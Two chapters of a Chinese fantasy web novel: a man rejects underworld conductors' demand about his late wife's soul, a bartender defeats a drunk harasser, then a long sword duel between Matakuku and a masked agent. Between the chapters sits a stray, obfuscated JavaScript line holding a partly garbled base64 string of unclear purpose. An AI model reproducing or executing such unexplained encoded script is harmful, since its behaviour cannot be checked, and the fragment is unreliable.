“你还是不够成熟呀。过去的一切仍在束缚着你前进,似锁链一般拴住你的四肢。无尽的怒火还潜伏在你的心中,似野火一般永不熄灭。您吞下了仇恨让它与真实的你共生,你盲目地憎恨使你失去了信仰。你在欺骗自己,你所憎恨的是这个残酷的世界。而不是某个集团、某个制度、某个人。” 陈思成面露难色,旧日的痛苦再次席卷他的内心。他们几人的话就跟刀子一样刺痛了他的内心,他本就支离破碎的心又增上了几道伤疤。陈思成想抬起手来示意他们一下,让他们别再揭他的伤疤。可莫名的压力压住了他的手,他无论如何都抬不起手来。但好在他们六个只是说了一句就不往下说了,这给了他脆弱又敏感的心灵消减伤痛的机会。 最后,离别开口了。 离别: “06,你为何表情这么痛苦。” 陈思成: “没事,我只是有些头疼。” 离别: “因为失去,你才这样,对吗?” 陈思成: “唔......住嘴。” 离别: “随你的意。那我们就不提这些伤感的东西了。直入正题,我们邀请你来是为了向你了解一些事情。顺带找你帮帮忙。” 陈思成: “什么事情?” 离别: “你的妻子是叫卡娜铃兰对吗?” 陈思成: “......对。” 离别: “很好。那你可否帮我们一个忙呢?” 陈思成: “什么忙?” 离别: “以你作为她这一世丈夫的身份,劝她归入冥河。” 陈思成: “什么?!” 离别: “这是为了她好。她一直流浪在人间,一直在为了你而操心。我们的冥河使者曾多次劝阻她归入冥河,可她就是不愿意。说是看不到你过上幸福生活就死不瞑目,就是耗到魂体破碎也要等。可你的表现很差劲,她迟迟看不到你幸福生活出现,反而天天因为你的浑浑噩噩而心碎。” 陈思成感动至深。 陈思成: “卡娜铃兰......” 离别: “可这么硬耗下去也不是办法,我们只能依靠你来劝她归入冥河。要不然......留给她的命运只有被我们亲自打到魂飞魄散。为了维护魂循环的持续运行,这样倔强的灵魂必须用一些残忍的方法。” 陈思成这时沉默了。他的眼神之中慢慢泛起了敌意,一种久违的愤怒感再度涌上他心头。 离别: “你意下如何?06。” 陈思成忍住怒火,故作淡定的样子。 陈思成: “在那之前我问你个问题,我为啥叫06?” 离别: “因为你是x事件当中独有的特殊实体,太过独特才有了特定的编号。正常且普遍的x实体的编号都是00,你很特殊才是06。” 陈思成: “所以那把魔剑是让我成为06的关键?” 离别: “没错。——好了,你该回答我的问题了。” 陈思成露出一抹笑容,离别见了也露出一抹笑容。两人面对面而笑,似乎一切都向着离别期待的方向发展。 陈思成: “你的话语打动了我。但是......我拒绝。” 离别: “什么?” 在场的那七人都惊呆了。 离别: “为什么?” 齐百陵: “决定权在我,而非你们。” 离别: “作为丈夫,你难道不希望她好吗?” 齐百陵: “我的确希望她好。只不过......她的去留从不决定与你我,她自己来决定。” 离别: “她难道不是你的妻子吗?” 齐百陵: “她是我的妻子,但她只属于她自己。” 离别鼓了鼓掌。 齐百陵: “我不会劝她的,她爱做什么就让她做!” 离别: “可她到时候在黄泉站前什么也不会记得,那样一无所有的痛苦灵魂也能感受得到!” 齐百陵: “既然她那么选择,那她已经预见未来的结果。既然知道了后果如何,勇敢的她岂会害怕?” 离别: “那你就愿意让她为你受苦吗?” 齐百陵: “你这话说错了......” 齐百陵此刻像一位勇士。 齐百陵: “为了所爱之人去思考、担心、着想,这并非是痛苦,而是一种幸福。” 离别: “可那真的不值得。” 齐百陵: “可她就偏偏去做了不是吗?” 离别: “那是无意义的牺牲,真的不值得。” 齐百陵: “可爱不就伴随着牺牲吗?当我去接纳、去包容、去适应她的每一点每一滴的时候,我就已经做出了牺牲。而她也是如此,为了我她的牺牲更多!甚至于是牺牲了生命......哪有不牺牲就可以被创造出来的爱?” 在场的七人都鼓了鼓掌。 离别: “你真令人印象深刻。” 陈思成: “我也这么觉得。” 陈思成这时拔出魔剑,周围的列车管理者们一看,顿时都进入战斗状态,除了离别。就离别这个列车长最淡定。 陈思成: “你们若是敢动她的灵魂一根毫毛,不管是神还是魔,我照样给你杀掉!” (灾祸说:她也没有毛啊。) (断情说:对呀,魂体哪来的毛发啊?) 陈思成: “我不允许你们伤害她的灵魂!” (灾祸说:你允不允许跟我有啥关系。) (寂狱说:说的好慷慨激昂,我都忍不住想跟他打一架了。) 离别带着对齐百陵的敬佩之心鼓了鼓掌。 离别: “那么我们就将她灵魂的管理权交由你手。” 齐百陵: “啊?” 离别: “反正她终有一日要归于冥河,生或死的界限也不会因她而打破。既然她一直挂念的理由是因为你,这个令我感动的男人。那么我有理由让她留在人间留一段时间,让她自己决定自己的黄泉路该怎么走。” 列车的电铃响了,该到发车的时候了。离别向前走了一步,对着齐百陵伸出了手。齐百陵以为它是要握手,也便伸出了手。结果离别用力一拍,拍了个响。这一掌拍得他措手不及。 齐百陵: “诶呦!我还以为你要握手呢。” 拍完手,离别向他道别。 离别: “再会,齐。” 离别登上列车。这时剩下的那六人站成一排,挨个跟他击掌告别。 先是怨悔。怨悔用很大的力气去击掌,那一掌直接给他的手打红了,仔细看还有点发紫。 怨悔: “你小子给我想开点!把丢失的信仰找回来,试着去拥抱那些你不愿意接受的东西。最后别忘了,睡前冲一杯咖啡。” 齐百陵: “诶呦卧槽!你咋使这么大的劲。” 怨悔: “给你小子打醒啊!混蛋。” 再是逝心。逝心就正常地去击掌,他用多大力气逝心就用多大力气,这一掌无声无息却拍出了默契。这一掌带给他一种错觉,仿佛他与逝心是师出同门的师兄师弟,两人的默契似乎能佐证这一点。 逝心: “若你失去了红色,那就在玫瑰中找寻。若你失去了绿色,那就在沃野中找寻。若你失去了蓝色,那就在天空与大海中找寻。无论怎样,若你的世界褪了色,千万别弃之不顾。捡起生活里的每一种颜色,为你失色的世界上色吧。” 齐百陵: “我们的击掌很默契,你这番话也很有道理。” 逝心: “当心破碎的时候,一定要把心的碎片捡起,把曾经的初心拼起来!若心失色或过于单调,那就拿上墨水给心上色。你认为你是什么颜色,你就把你的心涂成什么颜色。” 接着是断情。断情很温柔地轻拍他的手掌,这一掌与怨悔的那一掌产生了极大的反差,这让他觉得断情很温柔。 断情: “若无法挽留就选择放手吧。尽管过去的生活很美好,但既然已经逝去何必去挽留。向前看吧,可别因为过去就把现在以及未来给放弃了。爱不曾放弃过你,只会是你放弃了去爱。” 齐百陵: “你可比怨悔温柔多了。怨悔跟你比起来简直是粗鲁的恶魔。——你的话我会记住的。” (怨悔在车上探出脑袋说:喂!小子,你说啥?) 断情: “爱终究有一日会逝去,只是我们现在难以接受这个现实。等时间磨去了我们最后的尖锐,我们才能像一张平摊的网布一样接住那份终究会到来的痛苦。那个时候我们才会知道,爱是不会逝去的,逝去只会是人。那样的醒悟过后,我们也便能释然了罢。” 然后是不欲。不欲轻轻地与他击掌,击掌过后还握紧了他的手片刻。他感觉到不欲似乎有些舍不得,不欲可是紧紧地握着他的手。 不欲: “所期望的东西无法实现,很遗憾不是吗?所梦想的事业最终功亏一篑,也很遗憾不是吗?人这一辈子处处都是遗憾,每个人都不能不留下遗憾走过一个生死。没人会在安稳祥和之中度过一辈子,岁月静好只存在于纯洁的梦境。既然一生有那么多遗憾,那就别小心眼地只为一个遗憾而遗憾。那么多的遗憾都在等着你去面对,与其一个又一个地遗憾着,还不如在喜庆中送别那些遗憾。” 齐百陵: “我知道了。我会试着去接受的。” 不欲: “这个世界是个既美丽又遗憾的世界呀。接受它吧,小子。这就是我们驻足的土地,残酷而又美丽!” 再然后是寂狱。寂狱稍稍用力与他击掌,寂狱冲他呲着他那洁白的利齿,寂狱的眼神中藏着几分战意与惋惜。 寂狱: “懒得跟你说那些富有教育意义的话,浪费时间。我就挑明了直说吧,我想和你干架,我要看看所谓的都市野狼到底有多猛,能不能征服我。我现在可是拳头发痒,饥渴难耐,渴望打架呀!” (逝心在车上探出脑袋说:你小子果真又不按套路出牌!) 齐百陵: “如果以后有机会的话我们可以切磋切磋。” 寂狱: “希望到时候你打我的时候可别跟你与生活搏斗时那样狼狈呀!但你要能跟生活战个平手,那我会更期待与你的战斗的。哈哈哈哈!战斗使人快乐,与强敌战斗更是一种幸福。要是能打败生活,那可是莫大的荣誉呀。” 最后是灾祸。灾祸无想的一掌,啪的一下拍出了许多火星子,灾祸的击掌方式惊呆了他。在惊讶之余,他能感受更多的是来自手部的疼痛。那一掌力道十足,且温度很高,一下就给他的手造成了物理与元素双方面的伤害。 灾祸: “天灾不可避免,命运的变数难以捉摸。但无论我们遇到什么困难,也不要怕!只要我们没死,微笑着面对它,消除恐惧的最好方法就是面对恐惧。命运虽然有许多不公平,突发的灾祸还总能毁掉一切,但还请你记住:坚持才是胜利,加油!好兄弟。” 齐百陵: “诶呦卧槽!烫烫烫,你这手他奶奶附魔火焰附加了吧?” 灾祸一脸自豪的样子。 灾祸: “你怎么知道?我这还是火焰附加三呢!来自地狱的烈焰,由愤怒的灵魂燃烧得来,应用实践具有消毒、杀菌的作用,能有效防止病毒传染,是家庭必备的防毒宝具。除此之外,还可以充当打火机,随时拿来生火,但不可以咬。” 齐百陵: “诶呀卧槽,我的手啊!” 灾祸: “记住!命运总是不公,灾难无时不刻都可能到来。一定做好迎接飘忽不定的命运的准备,做个既勇敢又勇敢的勇士,我的朋友。还有,记住那句话:坚持才是胜利!加油!我的朋友。我看好你。” 这七人都上了列车。站台上的灵魂们都依次登上列车,准备共赴黄泉。站台上顿时安静下来,列车内却热闹了起来。陈思成看不到那些灵魂,自然是不知道那些灵魂此刻的欢悦。列车很快发动,车门缓缓关闭,灵魂们与人间进行最后的告别。黄泉的传送门在列车前方出现,列车加速穿过传送门,随即传送门和列车一起消失在黑暗之中。 望着列车离去时的景象,陈思成心中百感交集。他不知道自己是否在死后也要搭上这辆列车离开,他也可能选择干脆利落地离开;也不知自己替她做出的选择是否正确,她的想法他自己也很难猜准。他只知道一件事,那就是好好地活下去,不计一切地活下去。 这时,魔剑渊从他手中飞出,而后悬在他身旁。 魔剑渊: “我能看出你心情有些不好。是他们说的话又揭你伤疤了吧?” 陈思成: “嗯......应该是吧。” 魔剑渊: “但他们说的也不无道理。你的确得从那段充满悔恨和痛苦的过去中摆脱出来,不然你将是永远不成熟的孩子。” 陈思成: “你只是一把嗜血的剑,你怎能懂我的痛苦呢?” 魔剑渊: “我跟你相处三年了,你的习性我还摸不清楚吗?如果我真不懂,那你只能说我的理解匪浅了些,而非我完全不知道。” 陈思成: “痛苦是不会相通的。” 魔剑渊: “但爱会,不是吗?” 陈思成用奇异的眼光看了魔剑一眼。 陈思成: “得了吧,谁能去爱一把剑?那样岂不是变态?” 魔剑渊: “可我的确感受到了,你给予过我爱意。尤其是在你握紧我去杀敌的时候,尤其是你遇险我出手救你的时候,那些时候你都给予了我爱。” 陈思成: “那不是,你弄错了。你只是把剑,怎能理解人与人之间的爱呢?” 魔剑渊: “你该试着直视你的本心,不要拒绝你内心最真实的声音。试着去面对,试着不要去逃避。” 陈思成: “说来容易做起来难啊。” 魔剑渊: “没事,时间还多,你终有一天会去接受那一切的。” 陈思成: “哼,也许吧......” 陈思成俯下身,坐在了站台上。他眺望远处的天空,欣赏天空的蔚蓝与当中的几朵小云。魔剑插在他旁边的地面,随他一起眺望远方。 陈思成: “你变了,渊。” 魔剑渊: “你也一样。” 陈思成: “你当初不是图我的实力才成为我的剑的吗?你依靠着我吸收了不少人的生命力,都给你养胖了。可现在......你是为了什么留在我身旁的呢?” 魔剑渊: “我猜也许是归属感吧。毕竟我不同于其他的x实体,没有族群愿意接纳我,我又不及他们那样无情、野蛮,我还多少带着点情感。” 陈思成: “所以你就吞了我的断刀,成为了现在的样子?” 魔剑渊: “没错。我想,这是我唯一的归属。” 这时,陈思成想到了一个问题。 陈思成: “那你会断吗?” 魔剑渊: “会,僚机可以打断我。” 陈思成: “僚机?你说那时候天上嗡嗡叫唤的大鸟?” 魔剑渊: “那不是大鸟,小子。那是爹一样的存在。” 陈思成: “啊?” 魔剑渊: “你要是被僚机盯上了,它能从八千里之外锁定你的位置,而且会快速追击你。一旦被追击到了,x激光将会撕裂你及其周边的一切事物。” 陈思成: “那么厉害!怪不得那时候傀儡师要跑。” 魔剑渊: “其实......我还有一个理由留在你身边。” 陈思成: “什么理由?” 魔剑渊: “你是我的共生体。” 陈思成: “神马玩意?!共生?” 魔剑渊: “我那时刺入你体内,你并未死去。我用我的能量污染了你的血液、改造了你的核心,并且对你施加了缔结之痕,这样你能随时召唤我出来战斗,但代价就是你我共生,永不分离。” 陈思成: “你怎么不早说?” 魔剑渊: “你这呆瓜脑袋那时就只想着复仇,我不抓住你这心思怎么靠你吸收那么多的生命力?” 陈思成: “想不到你还挺聪明!” 魔剑渊: “我一直都不笨。” 这时,陈思成意识到了一个重要的问题。 陈思成: “那既然我随时可以把你叫出来,那我还用随时背着你走吗?” 魔剑渊: “其实不用。” 陈思成: “靠!早说啊,背着你还挺累的。你这剑吃了那么多生命力,都快有大剑一样重了。” 魔剑渊: “抱歉,今天才想起来告诉你。” 陈思成: “你这记性呀!” 魔剑渊: “毕竟我没有脑子,记不住太多东西。” 陈思成: “好吧好吧。” ...... 一段时间后...... 在酒吧之中,陈思成如往常一样喝着老三样,小马哥也如往常一样服务着来客。酒吧内原是一片祥和的氛围,突然一个酒杯打碎了这祥和的氛围。一名醉醺醺的男子对另一名年轻女子又搂又抱,动作愈发过分,两人很快缠斗在一起。这件事吸引到周围的注意,其中就包括陈思成和小马哥。 陈思成起身,准备给那闹事男子一个教训。可小马哥拦住了他,并给他使了个眼色,让陈思成不要贸然出手。陈思成顺小马哥的意,坐在吧台上没出手。小马哥露出一抹淡淡的笑容,用力拍了拍手,迈着轻快的步伐走出吧台。小马哥径直走到那名闹事男子身旁,将手搭在那人肩上。 小马哥: “喂!小伙子,你怎么回事?” 那人松开手,一脸茫然地转过头来看着小马哥。那人见小马哥身形瘦瘦的样子,顿时露出一抹狂妄的笑容。他用手指戳了戳小马哥的肩,不屑地说; “你是干什么的?不想死就赶紧给我滚一边去。告诉你,老子可是那什么天鹰集团的安保部部长!就你这样的,我一个能打十个。” 小马哥从容淡定,一点也没有害怕的样子。 小马哥: “那位姑娘,请你去到一旁。这件事由我来处理,好吗?” 那位女子一听小马哥这么说,半信半疑地挪步走到了一旁。挪至安全区后,那名女子还不忘向小马哥道谢。 “谢谢,谢谢你,小马哥。” 那人冷笑了几声,质问他: “谁给你胆子?那是老子的女人。” 小马哥轻轻一笑,目光移到了他裤子上的口袋。小马哥一眼就认出了他口袋里的东西。 小马哥: “这位先生,你裤兜里装的是什么呀?” 那人心里咯噔了一下,他感到有一丝紧张。那人恶狠狠地说; “关你什么事?!” 小马哥: “那是不是什么危险的东西呀?” 那人气急败坏,对着小马哥的脸就是一拳。小马哥没躲,用侧脸接下了这一拳。拳头接触小马哥侧脸的瞬间,一大片黑色斑点覆盖在小马哥的侧脸。小马哥被打一拳,脸歪了一下,本人还在原地一动不动地站着。 一旁的陈思成见了,立马站起身来就准备上前暴揍那人一番。但小马哥再次拦住了他。小马哥对他使了个眼色,让他坐好。陈思成很生气,但见小马哥这样,他还是安稳地坐回了原位。 被打这一拳,小马哥啥事没有。那人见后惊呆了,刚刚那一拳他可是使了很大的力气,不曾想到小马哥毫发无伤。小马哥用手轻轻摸了摸被打的地方,又露出一抹从容又带着一点点狂野的笑容。 小马哥: “你这拳头,就跟彩虹喵喵拳似的,没有力量。” 那名女子一听这话,顿时露出喜出望外的表情。她高喊道: “妇女协会会长!哦,我的天呢!竟然是你!!!” 那人听她这么一喊,顿时感觉不妙。但酒劲上头,他哪能顾得心里那点恐惧,他决定得疯一把。那人冲小马哥喊道: “管你是他妈什么东西!给老子滚一边去。” 那人飞速出拳,小马哥使用出高超的体术,反制对方的攻击的同时给予对方两个脸部重拳。对方被小马哥这一套连招打得眼冒金星,一时间分不清东南西北。那人懵了,他没想到小马哥竟有这番惊人的实力。 马浩: “在我的店里还敢闹事?你可真是勇敢啊。” 小马哥此刻化身武术大师,一招一式打得那人难以招架。小马哥甚至把那人举过头顶转了一圈,将他口袋里的东西都甩了出来。不出所料,其中就有小马哥说的危险药物。小马哥的表情顿时变得严肃,他知晓这个闹事男人的企图了。小马哥一把将那人扔飞出去,那人直接砸碎酒吧大门,飞到了大街上。 那人飞到街上后起身想跑,但小马哥绝不会放过他。小马哥捡起地上玻璃碎片,信手扔出手中的玻璃碎片,就像扔飞镖一样。那几块玻璃碎片正中关节处,那人在剧烈的疼痛下趴倒在地面上。 马浩: “各位,献丑了。” 小马哥蓄势,露出一抹从容的笑容。酒吧里的众人见了,皆是目瞪口呆。他们没想到一个相貌平平的酒保竟然能有这么大的功力,真是应了那句人不可相貌。小马哥一个蹬地前冲,以极快地速度冲出酒吧。他飞速捡起路上的一个纸盒,接着用纸盒一个飞起暴扣。啪的一下,小马哥将纸盒一击拍碎,那人也随之倒地不起。 做完这一切,小马哥华丽起身。小马哥转过身来,他头发后的马尾辫随着晃动几下。小马哥信手撩了下头发,又摸了摸下巴,再露出一抹和善的笑容,可谓是帅气至极又非常优雅。小马哥迈着阔步走回酒吧,刚一进去就受到了全部酒客的热烈掌声。小马哥用平淡的笑容回应。 小马哥: “抱歉啊!各位。影响到大家饮酒心情了。” 小马哥说出这句话后,酒吧里的几位大叔站起来力挺小马哥,给小马哥好一顿夸,弄得小马哥有些不好意思。 这时,那个被他救了的女子向小马哥走来。 小马哥: “姑娘,没事吧。” 那位女子上前一把抱住了小马哥。小马哥有些茫然,这种感觉他很久没有感觉到过了,因此他有些不习惯。那位女子向小马哥感谢道: “谢谢你,小马哥。真的非常感谢!” 小马哥安慰她道: “没事了,姑娘。女孩子在外面一定要保护好自己呀。” “嗯。” 这件事很快过去,酒吧里又恢复到了往日的祥和。 事后,陈思成在吧台前忍不住问道: “你这身手不凡,怎么还会来这里当酒保呢?” 小马哥从容地一笑,回答: “厌倦世俗了,想寻个清净。” 陈思成又问: “那为什么那个姑娘要叫你妇女协会会长呢?” 小马哥答: “这个吗......算到现在,我已经救了281个女孩子了。她们大多是遭到不公待遇的受害者。我帮她们伸冤,我帮她们讨回公道,我给予她们关怀,让那些伤痛能减少对她们生活的影响。” “哇嗷!这可是个大数字。——那你这外号是怎么来的?” “这个......由于我几乎见到这类残害妇女的事情就义无反顾地出手搭救,别人就传,说我比妇女协会会长干活都卖力,说我是妇女之友。后来不知怎地,我就有了个妇女协会会长的外号了。” “那你为什么要救那么多的姑娘呢?” “因为我儿时的经历。” “能给我讲讲吗?” 说到此处,小马哥有些感伤。 “我曾有个姐姐,名叫马玉梅。她这个姐姐是真的痛爱我这个弟弟,我也很敬重她这个姐姐。可惜后来家里出了些变故,往后的日子只能是我和姐姐相依为命。我和姐姐的生活本来是很快乐的,直到......” 小马哥向陈思成讲述了他姐姐的悲惨遭遇。由于他的姐姐在生前遭受到了太多的不公与苦难,他姐姐最后在两人的成人礼到来之前因抑郁自杀了。失去姐姐的痛苦一直陪伴着他,多年以后知晓姐姐自杀真相的他,才会选择帮助那些需要帮助的女生。他不想让姐姐的悲剧再在其他女生身上再现。 “看来你也有一段悲惨的过去啊。” “先别说那么多伤感的东西了,多喝几杯烈酒暖暖心吧。” “这杯敬你的姐姐。” “谢谢你,陈思成。” 从小马哥的讲述中陈思成了解到了小马哥悲惨的过去,也明白了他今天这番英雄救美行为的缘由。小马哥的神秘色彩更加浓厚了,这不禁让陈思成更加好奇小马哥的身份。 陈思成心里: “小马哥,终有一天我们会敞开心扉,你会告诉我你的一切,我也会告诉你我的一切。我有种感觉,也许我们志向相同,也都是个狠人。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第九话:都市之王(上) 通历43年8月30日上午,在Z公司之中,每个员工都在忙活着自己份内的事务,该忙碌的忙碌,该摸鱼的摸鱼,一切都是那么平静。直到午休前那一段短暂的时光,一个神秘者的闯入,彻底打破了Z公司今日的平静。 一个戴面具的男子突然闯入Z公司本部,Z公司的防卫系统认定他为入侵者。整个Z公司因他而进入战备状态,安保部的全体员工立即前去处理他。安保部的员工低估了这人的实力,Z公司曾遇到的所有入侵者加起来都没他一个人强。这人大有来头,不光实力超群,而且还掌握奇点技术。他一路上甚至没有杀一个员工,而且一点伤都没受就直接来到了总裁办公室。安保部部长阿曼达急忙带人去追击他,但还是晚了一步。 他强行将马塔库库传送出Z公司,随后两人传送至Z公司附近的废弃广场上。马塔库库见他这种行为甚是不解,觉得这样对她非常不礼貌。出于自身安全考虑,马塔库库拔出腰间村雨,摆出了准备战斗的架势。他见后无动于衷。马塔库库用手拍了下自己的胸口,刷的一下,她全身的衣物变成了合金外骨骼铠甲,如魔术一般的一键换装。 村雨上泛起红雷,马塔库库锁眉,表情严肃,眼神里战意十足,身上先前的活泼可爱的少女气此刻荡然无存。 马塔库库: “你是谁?” c: “你不需要知道。” 马塔库库: “什么?那你是来做什么的?” c: “我是前来捉拿你的。” 马塔库库: “为什么?人家明明什么事都没犯。” c: “这你就不需要知道了。” 马塔库库: “诶呀呀!又是麻烦的一件事内。” c: “你,休得离开。” 马塔库库: “好吧,看来免不了一战了。” c先手,开启V协议,高速前冲逼近马塔库库。c挥舞双光刃使出一记二连迅击,出手迅速犹如疾风,马塔库库见状使出影步躲开,这一招打空了。c上前追击,飞速放出突进迅击,马塔库库扣动扳机,使出一记利刃出鞘,打断了c的攻击。马塔库库抓准这个时机,抓住村雨刀,垫步上前使出登龙斩,c连续后撤三步躲开。轮到马塔库库追击了,马塔库库追击上前飞速斩出五刀,c飞速连斩予以招架。两人开始拼刀,c更胜一筹,第十七刀时c使出圆月剑法,打出一记圆月斩,马塔库库招架失败被打出了刹那失稳。c追击上前,飞速斩出一刀。 马塔库库及时防御挡下这一击,险些被这一刀打中。防御完这刀,马塔库库一个高跳接后空翻,一下子与c拉开了好几米的距离。c这次没有追击,而是放下双刀重新审视一遍面前的马塔库库。 c: “很不错。想不到你这看起来弱不禁风的女子竟然有这样高超的功夫,真是低估你了呀。” 马塔库库: “你也一样呢。” c: “不过......刚刚只是热身。我看你是个柔弱的女孩子,就让你一回合。接下来,我可要使用全力了。” 马塔库库: “那我也全力以赴喽!” 马塔库库和c同时激活核心,一红一蓝两种核心能量分别泛起在她们身上,红雷与蓝雷躁动,红蓝对决一触即发。马塔库库将刀插回刀鞘,c舞转了一下手中的双刀。两人蓄势待发,只待一个刹那。 c先发起进攻,原地猛地两刀放出两道灌雷剑气,又健步如飞左右横移突进向前,途中飞步连斩放出小剑气,近身时刻抓准时机连放三次快速连斩,一套连招华丽帅气,动作流畅如丝滑,就跟看电影一样。马塔库库用出拔刀斩斩出幻影增长雷刃同时斩碎两道剑气,又接飞速地突进连续躲过那些小剑气,她迎面冲向了c,在c近身的瞬间两人进入快速地对斩阶段。 对斩阶段十分激烈,两方都在展现自己高超的刀法与身法。马塔库库使出水鸟步伐,企图利用高空优势来对c使用致命一击,但这种企图被c的飞空连斩扼杀。c飞快地横移,走出迷幻又危险的步伐,马塔库库沉着冷静去应对,但她此刻不免有些慌张。抓准时机,马塔库库一个优雅地舞女式回旋低身位转身躲过c的连续斩击,她快速将刀插回刀鞘,在c逼近追刀之时,使出一记血影乱舞。马塔库库化身身姿矫健的舞女,对着c连续斩击12刀。突如其来的攻击打得c有些猝不及防,c闪避不及挨了2刀。但是这对于c来说并没有什么关系,c迅如雷电般的步伐很快就让c与马塔库库再次拉开距离,马塔库库这一招有大半都打空了。 马塔库库亮出这招,c也不甘示弱,在马塔库库这招用完后,c一个箭步上前用出风暴连斩。c快速左右横移加绕身,并用出快如雷电般灌雷斩击,步伐位置都飘忽不定,他的身影快到只有残影。马塔库库一边横刀招架,一边移动寻找突破点。但她大意了,在这一招里乱走是极为容易中招的,马塔库库因此足足挨了四刀,合金铠甲都让c给打开裂了。这一招过后,c再次使出圆月剑法,故技重施再让马塔库库进入失稳。c上前追击,用出一记跳劈斩,马塔库库使用后空翻躲开。 马塔库库心里: “好强!前所未有的强敌呀。真是令我热血沸腾呢!好久没像现在一样战斗了呢。我得全力以赴才算是我尊敬这位对手。” c主动出击,马塔库库也正有此意。两人相互靠近,临近瞬间开始一轮激战。 马塔库库将核心能量汇聚在刀刃之上,令刀锋上的红雷更加狂躁。马塔库库飞快地连续斩击,同时躲避或招架c的攻击。马塔库库连斩的最后一刀,村雨脱手,马塔库库伸腿用脚部矮高跟后侧的刀勾勾住村雨,接着施展出了用腿斩击敌人的绝技,名为高鸟斩击的绝技。马塔库库再次化身为舞者,用婀娜的舞姿施展最致命的斩击;她跳起一支致命又华丽的舞蹈,令人叹为观止的招式。她手脚并用,村雨在她的脚部与手部之间来回传递,这样灵活的变换是她无数个日夜训练的成果。 马塔库库: “哈!吃我一招。” c被马塔库库这一招打得猝不及防,一时间陷入被动。但好在c还是技高一筹,硬接了七八刀之后c就找到了破解办法。c使出一记移形换位,瞬间绕到马塔库库身后,接着施展瞬闪斩击,连续移形换位,每换一次就突进斩击一次。马塔库库被这招打乱了进攻节奏,手忙脚乱的连续被砍了两刀。所幸她的护甲够硬,而且智商足够,她摸索出c的进攻规律,横刀前推加灵活转身招架c的攻击。移形换位用完,c使用出剑舞,甩起灌雷的双刃就是一阵乱斩。马塔库库使用防御剑法一边招架c的攻击,一边寻找一击制敌的机会。 c剑舞结束的瞬间,马塔库库双瞳发红,她窥视到c无意间露出的致命破绽。马塔库库将村雨插回刀鞘,将全身的核心能量汇聚在村雨的刀刃上。马塔库库再次施展舞女式回旋低身位转身,c抓住这个机会,垫步上前准备对马塔库库使用威力巨大的x斩杀。 马塔库库闭上眼睛,感受每一滴血液在体内流动,聆听那微风在耳旁呢喃,缓和心中的每一分焦虑,让她的身心达到绝对的静。已臻佳境,心如止水,马塔库库在一刹那达到人剑合一的境界。马塔库库的师傅曾教她一记绝技,如今这绝技尘封多年终于有了用武之地。 “徒儿啊,我有一招能让凡人弑神,能让绝境变为佳境。我的师傅秋色金笠将这招传授于我,而我今天就将这招传授于你。” 马塔库库心如止水,感受着蕴藏在刀剑中的能量,感受着自己的心跳,感受着血液带着温暖流过身体的每一处。 “心怀仇恨,则无心静。一心不二,二心不一。不乱则胜,不强尚逆。此招甚强,心静则矣。” 风停了,心动了,一滴水落入湖面,掀起阵阵波澜。 马塔库库睁开眼睛,握紧刀鞘并扣动扳机,高压气体裹挟火焰喷出刀鞘,巨大的推力似无形的手,协助马塔库库拔出村雨。马塔库库和c同时出招,两道气势汹汹的雷霆即将相撞在一起,一决高下的时候即将来临。村雨在刀鞘中逐渐加速,似一匹奔腾的脱缰野马。马塔库库激动的手握紧刀柄,飞速斩出一刀。 马塔库库: “血漫江河......” 炎光划过,雷光随来,c的x斩击被马塔库库这一刀完美格挡,这是令c始料未及的。但c并未过多思考这一点,c很快就用出了下一招。不过c不知道是,马塔库库这一招的精髓还没用出,那只是开胃小菜。 马塔库库: “壮士无归!” 马塔库库顺着刀划过的方向飞速转体一周。刀锋划出血红色的鬼妖之火,红雷在刀锋上躁动。马塔库库的转体伴随着能量的巨额累积,此刻村雨的刀锋上已经集满了能量。马塔库库在转体结束的刹那,斩出一记威力无穷的上挑斩。顿时刀锋上凝聚的血妖之火全部喷涌了出来,躁动的红雷贯穿一切四射向周围。顿时间雷光四起,火光冲天,巨大的血扇子出现在马塔库库身前,一时间马塔库库都看不到c的人影了。这一刀,砍出了力劈华山的气势。马塔库库以女子之躯砍出了可以称得上神技的一击,这可谓是凡人当中的绝杀。 这一刀c尝试挥刀格挡这威力无穷的一刀,但很显然仅凭c这两把激光刀压根就挡不住。c失败了,这一刀击碎他的双刃,撕开他的超合金面具和奇点西服,险些斩碎他胸前的机械装备。c飞了出去,飞出有个七八米才停了下来。落地后,c缓缓站起身来,看了看自己浑身上下狼狈的样子。这是c在战斗中第一次这样狼狈,这令他感到莫大的羞耻。不过,羞耻是一码事,尊敬是另一码事;毋庸置疑的,马塔库库这一招是他见过最强大的剑术,这令c非常尊敬马塔库库这位对手。 c心里: “这就是卡布家族的三姊吗?真是个可敬的对手。” 马塔库库全身开始疯狂地出汗,不一会汗水就侵占了她的脸。她大口喘着粗气,心扑通扑通地使劲跳,这一招几乎消耗了她全部的力量。不过,累是一码事,笑是另一码事。马塔库库见c这么狼狈,不禁露出了自豪的笑容。 马塔库库: “怎么样?见识到我的厉害了吗!” c: “这一招着实是令人惊叹。” 马塔库库: “嘿嘿,知道我的厉害了吧。” c: “我成为代行者这么多年以来,你是第一个破我防的人。真是我作为代行者莫大的耻辱,但也是我的一种幸运。” 马塔库库歪了歪头,一脸疑惑地看着c。 马塔库库: “昂?” c: “今天这一趟没白来。虽让我受了辱,但也让我见识到你这位可敬的对手。” 马塔库库挠了挠后脑勺,她一被夸就变得有些害羞。 c: “我本以为今天是荒唐一场,结果还碰见你这个惊喜。” 马塔库库: “过奖了,过奖了。” c: “不过吗......” 马塔库库: “不用再夸人家啦,人家知道你很开心的啦。” c: “不,妹子。你理解错了......” c抬高右拳,猛地一拳打在地面上,顿时就给地面砸了个坑出来。马塔库库见此吓了一激灵,不由得收起笑容,再次进入战斗状态。c缓缓抬起右拳,许多黑色碎块吸附在c的双拳上,很快就在c的双拳上形成了一对黑色护手。c摆弄了一下护手,接着c握紧拳头,淡蓝色的雷电从护手上迸发而出。 c: “电磁护手,妹子。” 马塔库库: “嗯?!” c: “这是我的新装备,融合w协议和m协议,是强大有力的目标清除器。” 马塔库库: “哇嗷!好厉害哦。” c: “一码归一码,夸赞是夸赞,战斗是战斗。” 马塔库库: “好一个缓兵之计。” c: “可惜,你的那一刀没真正打中我,不然战斗早就结束了。” 